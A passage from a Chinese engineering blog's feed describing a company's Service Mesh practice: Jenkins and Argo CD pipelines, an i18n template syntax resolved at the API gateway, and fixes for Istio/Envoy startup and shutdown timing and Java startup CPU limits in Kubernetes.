class="o">],</span> + <span class="nl">envVars:</span> <span class="o">[</span> + <span class="n">envVar</span><span class="o">(</span><span class="nl">key:</span> <span class="s1">'PROJECT_NAME'</span><span class="o">,</span> <span class="nl">value:</span> <span class="s1">'block-service'</span><span class="o">)</span> + <span class="o">]</span> +<span class="o">)</span> <span class="o">{</span> + <span class="n">node</span><span class="o">(</span><span class="n">POD_LABEL</span><span class="o">)</span> <span class="o">{</span> + <span class="n">checkout</span> <span class="n">scm</span> + <span class="nf">stage</span><span class="o">(</span><span class="s1">'Before Build'</span><span class="o">)</span> <span class="o">{</span><span class="n">container</span><span class="o">(</span><span class="s1">'ci'</span><span class="o">)</span> <span class="o">{</span><span class="n">sh</span> <span class="s2">"before_build"</span><span class="o">}}</span> + <span class="n">stage</span><span class="o">(</span><span class="s1">'Build'</span><span class="o">)</span> <span class="o">{</span><span class="n">container</span><span class="o">(</span><span class="s1">'go'</span><span class="o">)</span> <span class="o">{</span><span class="n">sh</span> <span class="s2">"make test &amp;&amp; make linux"</span><span class="o">}}</span> + <span class="n">stage</span><span class="o">(</span><span class="s1">'After Build'</span><span class="o">)</span> <span class="o">{</span><span class="n">container</span><span class="o">(</span><span class="s1">'ci'</span><span class="o">)</span> <span class="o">{</span> <span class="n">sh</span> <span class="s2">"after_build"</span> <span class="o">}}</span> + <span class="o">}</span> +<span class="o">}</span> +</code></pre></div></div> + +<p>那这里在<code class="language-plaintext highlighter-rouge">Jenkinsfile</code>里只需要注入环境变量就行了,非常方便。底层脚本都是根据环境变量来操作的,如果为空就按照默认约定自动生成。</p> + +<p> </p> + +<p>另外还有一些项目,它会在同一个项目里构建多个镜像,发布成同一个服务,那<code class="language-plaintext highlighter-rouge">after_build</code>这个脚本底层其实也是调用了两外两个封装好的脚本,分别是<code class="language-plaintext highlighter-rouge">push_image</code>和<code class="language-plaintext highlighter-rouge">push_cd</code>。</p> + +<p>那只要把<code class="language-plaintext highlighter-rouge">after_build</code>去掉,直接调用底层的脚本就行了:</p> + +<p>例如我们在发布一些 Python 服务的时候,就需要额外构建一个 Nginx 镜像:</p> + +<div class="language-groovy highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Disable default after build</span> +<span class="c1">// stage('After Build') {container('ci') { sh "after_build" }}</span> + +<span class="n">stage</span><span class="o">(</span><span class="s1">'Build uWsgi Image'</span><span class="o">)</span> <span class="o">{</span> + <span class="n">container</span><span class="o">(</span><span class="s1">'ci'</span><span class="o">)</span> <span class="o">{</span> + <span class="n">sh</span><span class="o">(</span><span class="s2">"push_image --name user-service-uwsgi --file docker/uwsgi/Dockerfile"</span><span class="o">)</span> + <span class="o">}</span> +<span class="o">}</span> + +<span class="n">stage</span><span class="o">(</span><span class="s1">'Build Nginx Image'</span><span class="o">)</span> <span class="o">{</span> + <span class="n">container</span><span class="o">(</span><span class="s1">'ci'</span><span class="o">)</span> <span class="o">{</span> + <span class="n">sh</span><span class="o">(</span><span class="s2">"push_image --name user-service-nginx --file docker/nginx/Dockerfile"</span><span class="o">)</span> + <span class="o">}</span> +<span class="o">}</span> + +<span class="n">stage</span><span class="o">(</span><span class="s1">'Push to CD'</span><span class="o">)</span> <span class="o">{</span> + <span class="n">container</span><span class="o">(</span><span class="s1">'ci'</span><span class="o">)</span> <span class="o">{</span> + <span class="n">cmd</span> <span class="o">=</span> <span class="s2">"""push_cd \ + --image uwsgiImage=user-service-uwsgi \ + --image nginxImage=user-service-nginx """</span> + <span class="n">sh</span><span class="o">(</span><span class="n">$cmd</span><span class="o">)</span> + <span class="o">}</span> +<span class="o">}</span> +</code></pre></div></div> + +<p> </p> + +<h3 id="更强大的发布控制">更强大的发布控制</h3> + +<p>在我们做第一版 CI / CD 的时候,支持 Kubernetes 的 CD 开源工具几乎是空白。</p> + +<p>我们也尝试过自研,但因为别的项目屡屡搁置,因为要做一个好用的 CD 工具对前端水平就是一个很大的考验。</p> + +<p>“求求你,我不想再学了!”</p> + +<p>这是在每个前端框架发布后都会看到的一句话,说多了都是泪,对后端来说真的是没精力去学那么多前端框架了。</p> + +<p>还好在调研各种工具后,发现 <a href="https://argoproj.github.io/argo-cd/">Argo CD</a> 非常好用。</p> + +<p>它可以在界面上控制各种发布参数,Helm Chart 打包出来的包在不同的环境下会有不同的配置,需要一个地方来管理。</p> + +<p>它也可以把整个发布过程做可视化,哪个环节出了问题,看日志非常方便。</p> + +<p>最实用的就是,它可以手动控制回滚到特定版本。发布的时候出问题了,只要直接手动回滚就行了。</p> + +<p>具体的用法可以看它官网的介绍。</p> + +<p>然而它也不是万能的,金丝雀发布和蓝绿发布等都没有。所以虽然我们的计划里有这部分,但目前并没有实现</p> + +<p> </p> + +<h3 id="总结">总结</h3> + +<p>目前为止,虽然我们新的 CI / CD 已经上线,但其实这个版本是刚完成没多久的,得到大家的试用反馈后还会有大量的问题和需求。</p> + +<p>还好目前我们的新方案中,发布脚本的变动不需要开发的改动了。</p> + +<p>可预见的其中一个需求就是金丝雀发布和蓝绿发布。虽然还没有实现,但是我们也已经有了一些方案。</p> + +<p>相关的开源框架有 <a href="https://docs.flagger.app/">Flagger</a> 和 <a href="https://argoproj.github.io/argo-rollouts/">Argo Rollouts</a>。</p> + +<p>这两个我们都试用过,但都还缺点东西,所以我们后续的计划应该是基于其中某个做二次开发,来满足我们自身的需求。</p> + +<p> </p> + +<p>另外,整个 CI / CD 的使用中,还有很多东西值得去做成约定,而不是让开发自己去写。</p> + +<p>例如<code class="language-plaintext highlighter-rouge">Dockerfile</code>等,虽然有多语言,但一个同样是 Golang 的简单服务,它们的<code class="language-plaintext highlighter-rouge">Dockerfile</code>几乎是没有任何区别的。</p> + +<p>所以这里还有很大的空间可以去进一步简化开发的工作量。</p> + + Sat, 07 Mar 2020 00:00:00 +0000 + /2020/03/ci-cd.html + /2020/03/ci-cd.html + + + + Service Mesh 实践(六):I18N Language + <h3 id="国际化">国际化</h3> + +<p>对于一个国际化的 App 来说,UI 和各种文案的国际化是必须的。</p> + +<p>一般来说,开发只要根据用户的语言,然后调用对应方法,就可以拿到对应的文案了。</p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="nc">String</span> <span class="n">errorMessage</span> <span class="o">=</span> <span class="n">getErrorMessage</span><span class="o">(</span><span class="s">"exception.HTTP_404"</span><span class="o">,</span> <span class="s">"en-US,en;q=0.5"</span><span class="o">)</span> +</code></pre></div></div> + +<!--more--> + +<p>底层处理也很简单,大部分语言都有相关的支持。例如 Java 中文件结构可以是这样的:</p> + +<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">.</span> +└── resources + └── i18n + ├── exception_ar.properties + ├── exception_en.properties + ├── exception_es.properties + ├── exception_fr.properties + ├── exception_ko.properties + ├── exception_pt.properties + └── exception_ru.properties +</code></pre></div></div> + +<p>使用的时候底层只要这么调用就行了:</p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nc">ResourceBundle</span><span class="o">.</span><span class="na">getBundle</span><span class="o">(</span><span class="err">'</span><span class="n">i18n</span><span class="o">/</span><span class="n">exception</span><span class="err">'</span><span class="o">,</span> <span class="s">"en-US,en;q=0.5"</span><span class="o">).</span><span class="na">getString</span><span class="o">(</span><span class="s">"HTTP_404"</span><span class="o">);</span> +</code></pre></div></div> + +<p>开发维护<code class="language-plaintext highlighter-rouge">exception_en.properties</code>文件,可以通过脚本把英文文案上传到对应的翻译平台,然后其他的语言是在翻译平台翻译好后下载下来的。</p> + +<p> </p> + +<h3 id="i18n-service">I18N Service</h3> + +<p>微服务化后,如果还是每个项目自己做国际化,这种模式就出现问题了。</p> + +<p>首先,如何在下游服务中拿到用户的语言?你要解决吧也不难,所有服务透传用户语言就行了,大部分 RPC 框架可以透传整个调用链的<code class="language-plaintext highlighter-rouge">context</code>。但我们目前是 HTTP + gRPC,这个对我们来说很麻烦。</p> + +<p>第二个问题是,如果每个要做国际化的项目都要处理文案上传,下载,那是不是也很麻烦?</p> + +<p>那既然微服务化了,那这种通用的功能就应该做成一个服务来解决吧?</p> + +<p>可是做成服务并不能解决第一个问题,而且做成服务反而多了很多麻烦的地方,例如如果你调用 I18N Service 失败了怎么处理?嗯,我在处理一个异常的时候发生了异常… 而且性能上也是一个问题。</p> + +<p> </p> + +<h3 id="处理过程前置">处理过程前置</h3> + +<p>生成国际化的文案需要两个信息,一个是具体的文案的代号,代号可以是上面提到的<code class="language-plaintext highlighter-rouge">exception.HTTP_404</code>这种格式,也可以直接用英文文案<code class="language-plaintext highlighter-rouge">exception.Page Not Found</code>。</p> + +<p>我不太喜欢直接用英文的文案在代码里做文案的代号,因为里面可能会有特殊字符要处理,英文文案也有可能会变。文案变了要改代码,这个我无法接受。</p> + +<p>文案的代号会在各个服务中产生,不分层次。</p> + +<p>生成国际化文案另一个需要的信息是用户语言,这个信息离用户越近越容易拿到。抛开做国际化,下层服务理论上根本不用关心这个信息。</p> + +<p>既然用户语言离用户越近越容易拿到,那么哪一层离用户最近?那当然是用户的手机 App 代码了!</p> + +<p>所以,是否可以在 Server 返回一些代号,然后 Client 去解析并读取对应的文案?</p> + +<p> </p> + +<h4 id="流程设计">流程设计</h4> + +<p>那我们就不要在 Server 做任何翻译了,通过一些模版语言把国际化文案的代号告诉 Client 就行了:</p> + +<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w"> + </span><span class="nl">"errorMessage"</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="s2">"{exception.USER_NOT_FOUND}"</span><span class="p">,</span><span class="w"> + </span><span class="nl">"errorCode"</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="mi">110</span><span class="w"> +</span><span class="p">}</span><span class="w"> +</span></code></pre></div></div> + +<p>因为 Server 会不断新增文案,所以 Client 无法把翻译文件都整合在本地,需要再调用一个 Server 的 API 去获得用户对应语言的翻译就行了。</p> + +<p>转换好后变成如下内容:</p> + +<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w"> + </span><span class="nl">"errorMessage"</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="s2">"用户不存在!"</span><span class="p">,</span><span class="w"> + </span><span class="nl">"errorCode"</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="mi">110</span><span class="w"> +</span><span class="p">}</span><span class="w"> +</span></code></pre></div></div> + +<p>这部分文案完全可以长时间在本地缓存,虽然多了一次远程调用,因为翻译变动非常少,所以缓存命中率会很高。</p> + +<p>别的优化策略还有很多,例如 Server 可以分析 Client 对各种文案的调用频率,提前下发高频文案给 Client,这样也能大大优化 Client 性能。</p> + +<p> </p> + +<h3 id="兼容现有代码">兼容现有代码</h3> + +<p>上述方案如果在一个全新的项目中采用我觉得是没什么问题的,但是如果不是一个新 App 怎么办呢?</p> + +<p>是否可以把干这个活的下放一层呢?我们不是有 API Gateway 吗?</p> + +<p>之前介绍过我们 API Gateway 的发展历程:</p> + +<p><a href="/2020/02/api-gateway.html">Service Mesh 实践(四):从开源 Ingress 到自研 API Gateway</a></p> + +<p>有了 API Gateway 后就可以很好地解决这个问题了!既不需要 Client 改代码,也可以集中处理集群内所有的流量。</p> + +<p> </p> + +<h4 id="流程设计-1">流程设计</h4> + +<p>实现思路和上面的思路差不多,但这里可以画张图,更清晰一点:</p> + +<p><img src="/uploads/2020/03/i18n.png" alt="I18N" /></p> + +<p>整个处理流程差不多就是这样了,那现在最大的问题就是,应该如何设计这个模版语言?</p> + +<p> </p> + +<h3 id="i18n-language">I18N Language</h3> + +<p>其实,在上面的例子中,<code class="language-plaintext highlighter-rouge">{exception.USER_NOT_FOUND}</code>已经是一个最简单的语法了,但很明显这个简单的表达式是不够的。</p> + +<p>我把我们项目里所有的翻译都排摸了一遍,总结了一下我们遇到的需求,并全部设计了一下。</p> + +<p> </p> + +<h4 id="参数化">参数化</h4> + +<p><code class="language-plaintext highlighter-rouge">{exception.USER_NOT_FOUND}</code> 会转换成 <code class="language-plaintext highlighter-rouge">用户不存在!</code>,那如果想要变成<code class="language-plaintext highlighter-rouge">用户 Dozer 不存在!</code>呢?</p> + +<p>也就是说文案中要支持传入参数。以前,这种参数化的需求一般会在最终翻译的文案里放一些占位符,例如:<code class="language-plaintext highlighter-rouge">用户 {nickname} 不存在!</code>。</p> + +<p>以前业务代码的处理流程是:</p> + +<ul> + <li>根据<code class="language-plaintext highlighter-rouge">exception.USER_NOT_FOUND</code>读取到文案<code class="language-plaintext highlighter-rouge">用户 {nickname} 不存在!</code></li> + <li>把文案中的<code class="language-plaintext highlighter-rouge">{nickname}</code>替换掉</li> + <li>返回文案</li> +</ul> + +<p>改造后业务代码直接返回:<code class="language-plaintext highlighter-rouge">{exception.USER_NOT_FOUND}</code>,API Gateway 读取文案并处理,那是不是少传递了点信息?</p> + +<p>是的,API Gateway 不知道<code class="language-plaintext highlighter-rouge">nickname</code>应该被替换成什么。</p> + +<p>所以最终语法可以变成这样:<code class="language-plaintext highlighter-rouge">{exception.USER_NOT_FOUND,nickname=Dozer}</code></p> + +<p>API Gateway 拿到翻译后的文案后,发现业务代码额外传了一些参数,就会去文案中把对应的占位符替换掉了。</p> + +<p> </p> + +<h4 id="默认值">默认值</h4> + +<p>不同语言翻译的进度是不一样的,一般业务上线后,一些小众语言并不会翻译完,这时候会把英文的文案暂时返回给用户。</p> + +<p>但这里的默认值指的不是这个。</p> + +<p>这里的默认值指的是,有些文案连英文的翻译都没有。</p> + +<p>举个例子:我们商店里的商品需要翻译,但商品和上面遇到的异常不一样,异常是伴随着代码一起产生的,而商品是会在代码上线后,在后台新配置的。按照我们的工作流程,这种商品后续会定期有对应的脚本提取出来英文文案,然后提交到翻译平台,最终再翻译成各种别的语言。</p> + +<p>在这个空窗期中,这个商品是没有任何翻译的,包括英文。</p> + +<p>所以遇到这样的场景,需要传递一个默认翻译的信息,如果有翻译就用,没有就用默认值。</p> + +<p>语法可以是这样的:<code class="language-plaintext highlighter-rouge">{product.sticker_name_1=长草团子}</code></p> + +<p> </p> + +<h4 id="嵌套翻译">嵌套翻译</h4> + +<p>我们有一类文案,场景是显示订单信息,内容是:订阅了商品一、订阅了商品二、退订了商品一。这句文案分为两部分,前面的动词和后面的名字。</p> + +<p>上面提到的参数化可以把商品名作为一个参数传进去,但是传进去的参数就是最终文案了。只适合用户名这种不需要翻译的内容。</p> + +<p>如果参数也需要做翻译怎么办?就像高阶函数,那就实现嵌套翻译吧!</p> + +<p>语法也不难,这样设计就行:<code class="language-plaintext highlighter-rouge">{order_history.buy_product,product={product.sticker_name_1=长草团子}</code></p> + +<p> </p> + +<h4 id="完整语法">完整语法</h4> + +<p>最后,完整的语法如下:</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>{i18n-key-name[=fallback-value][,argument-key1=argument-value1][,argument-key2={another-i18n-key-name}]} +</code></pre></div></div> + +<ul> + <li><code class="language-plaintext highlighter-rouge">[ ]</code>里的内容代表可选参数</li> + <li><code class="language-plaintext highlighter-rouge">{ }</code>可以替换成别的符号,根据自己的需求来设计</li> +</ul> + +<p> </p> + +<h4 id="语法解析">语法解析</h4> + +<p>语法设计好了,业务代码只要实现语法生成就行了,只是一些简单的文本拼接,根本不需要任何 SDK。只要注意按照约定做一些转义。</p> + +<p>例如上面你把用户的昵称放到了表达式中,用户输入的数据必定是不可靠的,你需要把<code class="language-plaintext highlighter-rouge">{ } ,</code>等符号做转义,否则会影响解析的结果。</p> + +<p>具体解析算法的实现就参考编译原理,用有限状态机实现一下就行了。这部分的解析性能是非常高的,把表达式遍历一遍就可以完成,也就是<code class="language-plaintext highlighter-rouge">O(n)</code>。</p> + +<p>然后 API Gateway 再配合一些缓存策略,整体的性能就几乎没有影响了。</p> + + Wed, 04 Mar 2020 00:00:00 +0000 + /2020/03/i18n-language.html + /2020/03/i18n-language.html + + + + Service Mesh 实践(五):优雅启动和优雅关闭 + <h3 id="传统做法">传统做法</h3> + +<p>以前的微服务架构中优雅启动和优雅关闭其实不难,这些东西本身就是自己实现的。</p> + +<p>启动后先打点流量预热一下,然后把实例注册一下就行了;要关闭的时候就先取消注册,等待一段时间尽量让所有请求结束后再关闭。</p> + +<p>另外,传统微服务架构下的实例启动关闭的频率也远低于 Service Mesh,做了 Service Mesh 这个问题也会更突出一点。</p> + +<p>那具体遇到了哪些问题又怎么解决呢?</p> + +<!--more--> + +<p> </p> + +<h3 id="golang--istio-启动失败">Golang + Istio 启动失败</h3> + +<p>这个问题是我们第一个遇到的,现象就是每次发布,新的<code class="language-plaintext highlighter-rouge">Pod</code>总是会出错一次,然后 Kubernetes 把它重启后再来一次就好了。</p> + +<p>而且只有 Golang 程序有这个问题,Java 程序不会有。</p> + +<p>重现步骤不难,先在集群内装好 Istio 再装一个最简单的 Nginx Server。</p> + +<p>然后再写个简单的 Golang 程序,启动的时候立刻访问 Nginx 就可以了。</p> + +<div class="language-go highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">package</span> <span class="n">main</span> + +<span class="k">import</span> <span class="p">(</span> + <span class="s">"fmt"</span> + <span class="s">"net/http"</span> +<span class="p">)</span> + +<span class="k">func</span> <span class="n">healthCheck</span><span class="p">(</span><span class="n">w</span> <span class="n">http</span><span class="o">.</span><span class="n">ResponseWriter</span><span class="p">,</span> <span class="n">req</span> <span class="o">*</span><span class="n">http</span><span class="o">.</span><span class="n">Request</span><span class="p">)</span> <span class="p">{</span> + <span class="n">fmt</span><span class="o">.</span><span class="n">Fprintf</span><span class="p">(</span><span class="n">w</span><span class="p">,</span> <span class="s">"ok</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span> +<span class="p">}</span> + +<span class="k">func</span> <span class="n">main</span><span class="p">()</span> <span class="p">{</span> + <span class="n">_</span><span class="p">,</span> <span class="n">err</span> <span class="o">:=</span> <span class="n">http</span><span class="o">.</span><span class="n">Get</span><span class="p">(</span><span class="s">"http://nginx/"</span><span class="p">)</span> + <span class="k">if</span> <span class="n">err</span> <span class="o">!=</span> <span class="no">nil</span> <span class="p">{</span> + <span class="n">fmt</span><span class="o">.</span><span class="n">Println</span><span class="p">(</span><span class="n">err</span><span class="o">.</span><span class="n">Error</span><span class="p">())</span> + <span class="nb">panic</span><span class="p">(</span><span class="n">err</span><span class="p">)</span> + <span class="p">}</span> + + <span class="n">fmt</span><span class="o">.</span><span class="n">Println</span><span class="p">(</span><span class="s">"Start Simple Http Server"</span><span class="p">)</span> + <span class="n">http</span><span class="o">.</span><span class="n">HandleFunc</span><span class="p">(</span><span class="s">"/health-check"</span><span class="p">,</span> <span class="n">healthCheck</span><span class="p">)</span> + <span class="n">http</span><span class="o">.</span><span class="n">ListenAndServe</span><span class="p">(</span><span class="s">":8080"</span><span class="p">,</span> <span class="no">nil</span><span class="p">)</span> +<span class="p">}</span> +</code></pre></div></div> + +<p>然而你会发现,Golang 写的程序总是大概率在第一次启动的时候失败,Kubernetes 把它重启一次后才会正常。</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>NAME READY STATUS RESTARTS AGE +app-tester-7b999ff58c-4l7zb 2/2 Running 1 81s +</code></pre></div></div> + +<p>查看<code class="language-plaintext highlighter-rouge">Pod</code>状态后发现是程序挂掉了,这时候日志还不容易看,因为容器已经重启了,直接看的话看到的是最新的日志。</p> + +<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kubectl describe pods app-tester-7b999ff58c-4l7zb +</code></pre></div></div> +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Containers: + app-tester: + Container ID: docker://2ef6f6bb8af84aca41f8d67ed30a348f528a6066260e8e2373f530e7d71a4c0d + Image: golang + Image ID: docker-pullable://golang@sha256:72218b6a9e51cbbd91980fb8c770b6a577e2165defcbb838108df96f58898d25 + Port: 8080/TCP + Host Port: 0/TCP + Command: + ./run + State: Terminated + Reason: Error + Exit Code: 1 + Started: Thu, 27 Feb 2020 18:56:48 +0800 + Finished: Thu, 27 Feb 2020 18:56:49 +0800 + Ready: False + Restart Count: 0 +</code></pre></div></div> + +<p>如果你已经在集群内装了 Fluent Bit 等搜集日志的服务,那么可以很方便地看到重启前的日志了,如果没有,那么还需要登陆宿主机去找日志。</p> + +<p>最后我们发现,是启动一瞬间的网络有问题,所以导致无法访问。</p> + +<p>因为只有配合 Istio 才有问题,搜索后找到了对应的 Issue:<a href="https://github.com/istio/istio/issues/11130">https://github.com/istio/istio/issues/11130</a></p> + +<p>原来,根本原因是 Envoy 还未启动完成的时候我们的业务就进行了网络请求导致的。因为 Istio 利用 Init Container 通过 iptables 早就把所有出口流量指向了 Envoy,如果 Envoy 还未启动完成,业务代码自然是无法进行网络请求的。</p> + +<p>总结起来就是一句话,Golang 启动太快了!那 Java 为什么没问题了?因为 Java 启动太慢了,至少几十秒,自然就不会出现这个现象了。</p> + +<p>目前我们的解决办法也很简单粗暴,所有 Golang 程序启动前 sleep 3 秒就解决了。另外也可以修改<code class="language-plaintext highlighter-rouge">Deployment</code>,加一个<code class="language-plaintext highlighter-rouge">lifecycle.preStart</code>,<code class="language-plaintext highlighter-rouge">sleep</code>几秒就行了。</p> + +<p> </p> + +<h3 id="istio-优雅关闭">Istio 优雅关闭</h3> + +<p>另一个问题更难解决一点,是主要是程序关闭的时候遇到地问题。</p> + +<p>第一种现象是如果 A 访问 B,B再访问 C,此时一个请求正在等 C 处理,A 和 B 都在等待。如果关闭了 B,A 的这次请求就失败了。</p> + +<p>理论上如果 B 程序处理地好,等待所有请求都结束后再终止程序,不应该有问题的。</p> + +<p>可惜注入了 Envoy 后,Envoy 在这块处理地并不好。Envoy 在收到终止信号的时候立刻退出了。</p> + +<p><a href="https://github.com/istio/istio/issues/7136">https://github.com/istio/istio/issues/7136</a></p> + +<p>相关地讨论很多,Envoy 和 Istio 后来已经解决了这个问题,这个问题比较好解决,一个设计良好地程序就应该支持优雅关闭。</p> + +<p>但还有一个类似的问题就比较尴尬了。</p> + +<p>如果 A 访问 B,B 再访问 C,此时如果一个请求正在进行中,B 正在处理自己的东西,还未请求 C。</p> + +<p>这时候把 B 终止,B 的代码还在继续跑,当它想要请求 C 的时候,网络却不通了。</p> + +<p>因为收到终止信号的时候 B 注入的 Envoy 没有活跃链接了,它也不会知道 B 还会不会再请求,所以它就退出了。</p> + +<p>我们一开始用了一种简单粗暴的解决办法,修改了 Istio 代码,强制让 Envoy 在退出前 sleep 几秒,这种现象就会大大改善了。</p> + +<p>最新新发布的 Istio 1.4 中已经支持通过参数修改 Envoy 的 <code class="language-plaintext highlighter-rouge">lifecycle</code> 了。</p> + +<p><img src="/uploads/2020/02/injection-template.png" alt="Injection Template" /></p> + +<p>修改方法很简单,在 Istio 配置中加入这部分就行了:</p> + +<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="na">global</span><span class="pi">:</span> + <span class="na">proxy</span><span class="pi">:</span> + <span class="na">lifecycle</span><span class="pi">:</span> + <span class="na">preStop</span><span class="pi">:</span> + <span class="na">exec</span><span class="pi">:</span> + <span class="na">command</span><span class="pi">:</span> <span class="pi">[</span><span class="s2">"</span><span class="s">/bin/sh"</span><span class="pi">,</span> <span class="s2">"</span><span class="s">-c"</span><span class="pi">,</span> <span class="s2">"</span><span class="s">sleep</span><span class="nv"> </span><span class="s">15"</span><span class="pi">]</span> +</code></pre></div></div> + +<p>但是文档还没更新,应该是还没来得及。其实我本来在写博客的时候也不知道这个变了,我只是想说一下应该改哪,翻阅源码的时候才看到它们已经支持了。</p> + +<p> </p> + +<h3 id="kubernetes-对-sidecar-的支持">Kubernetes 对 Sidecar 的支持</h3> + +<p>真的要解决上面两个问题还是需要 Kubernetes 官方的支持了,因为同一个<code class="language-plaintext highlighter-rouge">Pod</code>中多个容器一般都是有一些依赖关系的,没有启动顺序这个功能的话会出很多问题。值得高兴的是,Kubernetes 准备在 1.18 中支持这种场景了。</p> + +<p><a href="https://banzaicloud.com/blog/k8s-sidecars/">https://banzaicloud.com/blog/k8s-sidecars/</a></p> + +<p>1.18 中你可以把一个容器标记成<code class="language-plaintext highlighter-rouge">sidecar</code>,它会保证一定在你的程序启动前完成启动,也会保证在你的容器关闭后再关闭自己。</p> + +<p><img src="/uploads/2020/02/sidecar-lifecycle-2.gif" alt="sidecar-lifecycle-2" /></p> + +<p>有了这个功能后,就能完美解决上面几个问题了。</p> + +<p> </p> + +<h3 id="java-程序启动时负载过高延迟过大">Java 程序启动时负载过高延迟过大</h3> + +<p>Golang 的问题是启动太快了,而 Java 的问题就是启动太慢了…</p> + +<p> </p> + +<h4 id="kubernetes-资源配置与自动扩容缩容">Kubernetes 资源配置与自动扩容缩容</h4> + +<p>Kubernetes 的最佳实践中,要为所有<code class="language-plaintext highlighter-rouge">Pod</code>配置容器的资源请求和限制,细节可以看官方文档:<a href="https://kubernetes.io/docs/concepts/configuration/manage-compute-resources-container/">https://kubernetes.io/docs/concepts/configuration/manage-compute-resources-container/</a></p> + +<p>简单概括一下就是你要为你的容器配置四个参数:</p> + +<ul> + <li><code class="language-plaintext highlighter-rouge">resources.limits.cpu</code>: 容器最多可以用多少 CPU</li> + <li><code class="language-plaintext highlighter-rouge">resources.limits.memory</code>: 容器最多可以用多少内存</li> + <li><code class="language-plaintext highlighter-rouge">resources.requests.cpu</code>: 为容器保留多少 CPU</li> + <li><code class="language-plaintext highlighter-rouge">resources.requests.memory</code>: 为容器保留多少内存</li> +</ul> + +<p>其中<code class="language-plaintext highlighter-rouge">resources.limits</code>下的两个参数底层就是用 cgroup 来做限制的,容器的 CPU 不可能超过这个值,内存超过了会 OOM。</p> + +<p>而<code class="language-plaintext highlighter-rouge">resources.requests</code>下的两个参数是 Kubernetes 在机器上分配容器的时候用的。如果机器是 4 核,那么最多只能跑 4 个<code class="language-plaintext highlighter-rouge">resources.requests.cpu=1</code>的容器。</p> + +<p>那<code class="language-plaintext highlighter-rouge">resources.limits</code>大于<code class="language-plaintext highlighter-rouge">resources.requests</code>会发生什么?这个其实就相当于超售了,因为大部分业务声明给自己保留 1 核 CPU 的时候,它大部分时间不能跑满。</p> + +<p>CPU 超售问题不大,最多就是大家都慢一点而已,这只是应对突发情况用的。但是内存超售就不容易出事了,很容易导致 OOM。所以一般内存不会超售。</p> + +<p>然后为了充分利用资源,一般都是配置<code class="language-plaintext highlighter-rouge">HorizontalPodAutoscaler</code>来实现自动扩容缩容,Kubernetes 可以根据你声明的资源数和实际使用的资源数做比较,如果用的很少就会缩容,如果用的多了就会扩容。</p> + +<p>在低峰期我们的<code class="language-plaintext highlighter-rouge">Pod</code>就会自动缩容,把资源让出来给数据平台,这样可以节约不少钱。</p> + +<p>但是到了高峰期,<code class="language-plaintext highlighter-rouge">Pod</code>开始扩容的时候 P90 总会飙得非常高。一般一个平均延迟 10ms 的服务在扩容的时候 P90 会达到 100ms 以上,并发大的服务最慢的时候甚至会到秒级。</p> + +<p>当一个业务要更新代码的时候,也同样有类似的问题,总会导致上游调用方有少量报错。</p> + +<p> </p> + +<h4 id="为什么在-kubernetes-里会有问题">为什么在 Kubernetes 里会有问题</h4> + +<p>Service Mesh 很多服务都是轻量级的,一般一个简单的 Java 服务资源配置大致是这样的:</p> + +<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="na">resources</span><span class="pi">:</span> + <span class="na">requests</span><span class="pi">:</span> + <span class="na">cpu</span><span class="pi">:</span> <span class="m">1</span> + <span class="na">memory</span><span class="pi">:</span> <span class="s">512Mi</span> + <span class="na">limits</span><span class="pi">:</span> + <span class="na">cpu</span><span class="pi">:</span> <span class="m">1.5</span> + <span class="na">memory</span><span class="pi">:</span> <span class="s">512Mi</span> +</code></pre></div></div> + +<p>这个在运行的时候没问题,CPU 额外超售了 50%,也不会太影响同一台机器上的别的业务。但在刚启动的时候编译过程中,需要大量 CPU 就显得力不从心了。<code class="language-plaintext highlighter-rouge">requests.limits.cpu</code>配置得太大会影响别的业务,配置得太小又会导致启动过程中 CPU 不够用无法快速响应请求。</p> + +<p>而微服务架构下的服务一般不会拆那么小,也不可能跑在那么小的虚拟机下,所以这个现象不会非常明显。</p> + +<p>另外 Kubernetes 内置<code class="language-plaintext highlighter-rouge">Service</code>,或是用了 Istio 以后的 Envoy,它们的负载均衡策略都是随机分配。所以如果一共有 3 个实例,当新启动一个后变成了 4 个,新的实例会一瞬间分配到 25% 的流量。</p> + +<p>而微服务下的服务治理框架可以灵活地给新启动的业务分配流量缓解这个现象。</p> + +<p> </p> + +<h4 id="尝试分层编译优化">尝试分层编译优化</h4> + +<p>先试试从源头解决这个问题,看过 JVM 原理的一定能猜到这是 Java 即时编译导致的。新版本的 Java 已经废弃了老的<code class="language-plaintext highlighter-rouge">-client</code>和<code class="language-plaintext highlighter-rouge">-server</code>两个参数,而是利用分层编译把<code class="language-plaintext highlighter-rouge">c1</code>和<code class="language-plaintext highlighter-rouge">c2</code>两个编译器配合使用了。具体细节可以看这篇文章:<a href="http://zhongmingmao.me/2019/01/02/jvm-advanced-jit/">JVM进阶 – 浅谈即时编译</a></p> + +<p>基于 Java 1.8+,根据原理,我有几个方案:</p> + +<ol> + <li>跳过<code class="language-plaintext highlighter-rouge">c1</code>,代码运行后直接用<code class="language-plaintext highlighter-rouge">c2</code>,类似以前的<code class="language-plaintext highlighter-rouge">-server</code>模式,对应参数:<code class="language-plaintext highlighter-rouge">-XX:-TieredCompilation</code></li> + <li>到<code class="language-plaintext highlighter-rouge">c1</code>就停止,不会进行<code class="language-plaintext highlighter-rouge">c2</code>,类似以前的<code class="language-plaintext highlighter-rouge">-client</code>模式,对应参数:<code class="language-plaintext 